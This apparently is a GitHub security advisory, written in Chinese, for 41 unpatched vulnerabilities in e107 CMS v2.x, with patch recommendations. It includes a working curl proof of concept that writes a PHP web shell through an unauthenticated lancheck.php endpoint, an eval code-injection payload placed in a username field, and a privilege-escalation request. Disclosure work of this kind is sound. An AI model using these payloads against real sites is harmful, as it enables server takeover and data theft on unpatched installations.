Kimdir01/e107-multi-vuln-cve
GitHub: Kimdir01/e107-multi-vuln-cve
针对 e107 CMS v2.x 的 41 个漏洞概念验证集合,包含未认证文件写入、RCE、权限提升等高危漏洞的详细分析与 PoC。
Stars: 0 | Forks: 0
# GitHub 安全公告:e107 CMS — 未认证任意 PHP 文件写入 + 多个 RCE/权限提升
## 公告信息
| 字段 | 值 |
|-------|-------|
| **严重程度** | 严重 |
| **CWE** | CWE-306 (缺少认证) / CWE-94 (代码注入) / CWE-269 (权限提升) |
| **CVSS v3.1** | 9.1 (未认证文件写入) / 9.0 (权限提升) / 8.0 (eval RCE) |
| **CVSS 向量** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
## 摘要
e107 CMS v2.x (336+ 星标) 包含 41 个漏洞,包括:在 `lancheck.php` 中因注释掉认证导致的未认证任意 PHP 文件写入、在管理员用户创建/编辑中因缺少授权导致的权限提升、在用户配置文件数据中使用 `eval()`、在 git 操作中的反引号命令注入、XXE,以及允许通过省略 token 来绕过的 CSRF token 设计缺陷。
## 漏洞详情
### 受影响的包/仓库
- **仓库:** `e107inc/e107`
- **受影响版本:** 当前 (v2.x)
- **修复版本:** 无 (0-day,SQLi 之前已单独报告)
- **Commit Hash (已审计):** `5e167f177a09f3c9afcf0f3da74c507ada148c36`
## CVE-REQUEST-001:未认证任意 PHP 文件写入 (CVSS 9.1)
**文件:** `e107_admin/lancheck.php`,第 21 行
```
// require_once("auth.php"); // COMMENTED OUT!
```
对 `auth.php` 的包含被注释掉了。文件中没有任何地方存在 `getperms()` 检查。结合第 1193-1196 行的文件写入功能:
```
$writeit = str_replace("//", "/", $writeit);
$fp = @fopen($writeit, "w");
if(!@fwrite($fp, $input))
```
未经认证的攻击者可以通过 `$_POST['newlang']` 和 `$_POST['newdef']` 参数向服务器写入任意 PHP 文件。
### PoC:
```
curl -X POST http://target/e107_admin/lancheck.php \
-d "newlang=../../shell.php" \
-d "newdef="
# 访问:http://target/shell.php?cmd=id
```
## CVE-REQUEST-002:通过管理员用户创建/编辑进行权限提升 (CVSS 9.0)
**文件:** `e107_admin/users.php`,第 1659-1663 行 (创建),第 577-579 行 (编辑)
```
// Create — NO permission verification
if(varset($_POST['perms']))
{
$allData['data']['user_admin'] = 1;
$allData['data']['user_perms'] = implode('.', $_POST['perms']);
}
// Edit — SAME PATTERN
if(!empty($new_data['perms']))
{
$new_data['user_perms'] = implode(".", $new_data['perms']);
}
```
**攻击:** 拥有受限的 `U0` (快速添加) 子权限的管理员可以构造带有 `perms[0]=0` 的 POST 请求,以授予自己完整的超级管理员权限。系统没有验证提交请求的管理员是否有权授予管理员身份。
## CVE-REQUEST-003:对用户配置数据使用 eval() — RCE (CVSS 8.0)
**文件:** `e107_handlers/e_ranks_class.php`,第 330 行
```
$calc = '$userLevelValue = '.$_calc.';';
$value = eval($calc);
```
用户控制的配置字段 (`user_*`) 被替换到管理员定义的公式字符串中,并传递给 `eval()`。能够控制配置字段内容(用户名、签名)的攻击者可以注入 PHP 代码:
```
Username: test'; system("id"); //
```
## CVE-REQUEST-004:gitPull() 中的反引号命令注入 (CVSS 7.5)
**文件:** `e107_handlers/file_class.php`,第 1738-1750 行
```
$cmd2 = 'cd ' . $dir . '; ' . $gitPath . ' reset --hard';
$text .= `$cmd2 2>&1`;
```
使用受用户影响的 `$folder` 路径进行反引号执行。管理员精心构造的文件夹路径可以注入 shell 命令。
## 其他关键发现 (共 41 个):
| # | 漏洞 | CVSS | 文件 |
|---|--------------|------|------|
| H4 | 序列化回退中的 `eval()` | 7.5 | `core_functions.php:657,684` |
| H5 | 对用户偏好设置直接使用 `unserialize()` (7 处) | 7.5 | `login.php:473`, `pref_class.php:485` 等 |
| H6 | CSRF token 检查绕过 (缺少 token = 不检查) | 7.5 | `session_handler.php:1108` |
| H7 | lancheck.php 中缺少认证 | 7.5 | `lancheck.php:21` |
| H8 | XML 解析器中的 XXE | 7.3 | `xml_class.php:527` |
| H9 | 通过 OpenID 认证的 SSRF | 7.5 | `LightOpenID.php:284-329` |
| H10 | 直接从 POST 更新权限 | 7.5 | `administrator.php:57-59` |
| H11 | 通过 PHP_SELF 在安装程序中出现反射型 XSS | 7.5 | `install.php` |
| H12 | BBCode 处理程序中的 `eval()` | 6.0 | `bbcode_handler.php:397` |
| H13 | 管理控制器中缺少 CSRF | 7.0 | `admin_ui.php:2100` |
| M1 | 未转义的消息渲染 (存储型 XSS) | 6.8 | `message_handler.php:682` |
| M2 | 缩略图生成器中的路径遍历 | 6.5 | `e_thumbnail_class.php:213` |
| M3 | 文件上传仅扫描前 2048 字节 | 6.5 | `file_class.php:2255` |
| M5 | BBCode 处理程序中的 `eval()` | 6.0 | `bbcode_handler.php:397` |
| M6 | 通过 cookie 开启调试模式 (全路径披露) | 5.3 | `class2.php:2030` |
| M7 | 弱 MD5 密码哈希 | 5.0 | `user_handler.php:228` |
| M8 | 通过 `rand()` 生成可预测的 token | 5.5 | `user_handler.php:629` |
| M9 | 会话固定 (旧会话未销毁) | 5.0 | `session_handler.php:1027` |
## 影响
- 通过未认证的 PHP 文件写入实现**完全接管服务器**
- 通过权限提升实现**管理员账户接管**
- 通过对配置数据使用 eval() 实现**任意代码执行**
- 通过 XXE 实现**文件泄露**
- 通过 SSRF 实现**内部网络访问**
- 通过会话固定 + XSS 实现**会话劫持**
## 补丁 / 修复
1. 取消注释 `lancheck.php` 中的 `require_once("auth.php")` 并添加 `getperms('X')` 检查
2. 在 `users.php` 的 AddSubmitTrigger/UpdateTrigger 中添加权限验证
3. 在 `e_ranks_class.php` 中将 `eval()` 替换为安全的数学表达式解析器
4. 将反引号操作符替换为 `escapeshellarg()` + `exec()`
5. 在所有 XML 解析之前添加 `libxml_disable_entity_loader()`
6. 修复 CSRF 检查,以拒绝没有 token 的请求
7. 将 `rand()` 替换为 `random_int()` 以生成 token
8. 在所有地方使用 `unserialize(..., ['allowed_classes' => false])`
## 披露时间线
- **2026-06-27:** SQL 注入 CVE 已单独报告
- **2026-06-28:** 由 Fatullayev Asadbek (Kimdir01) 发现了另外 41 个漏洞
- **待定:** 报告给 e107 维护者
- **待定:** 通过 GitHub 请求 CVE
- **待定:** 发布公告
## 致谢
- 发现者:Fatullayev Asadbek | GitHub:Kimdir01
- 独立安全研究员
## 参考
- CWE-306:关键功能缺少认证
- CWE-94:代码注入
- CWE-269:不当的权限管理
- CWE-78:操作系统命令注入
- CWE-611:XML 外部实体 (XXE)
标签:PoC, RCE, Web安全, Web报告查看器, 暴力破解, 蓝队分析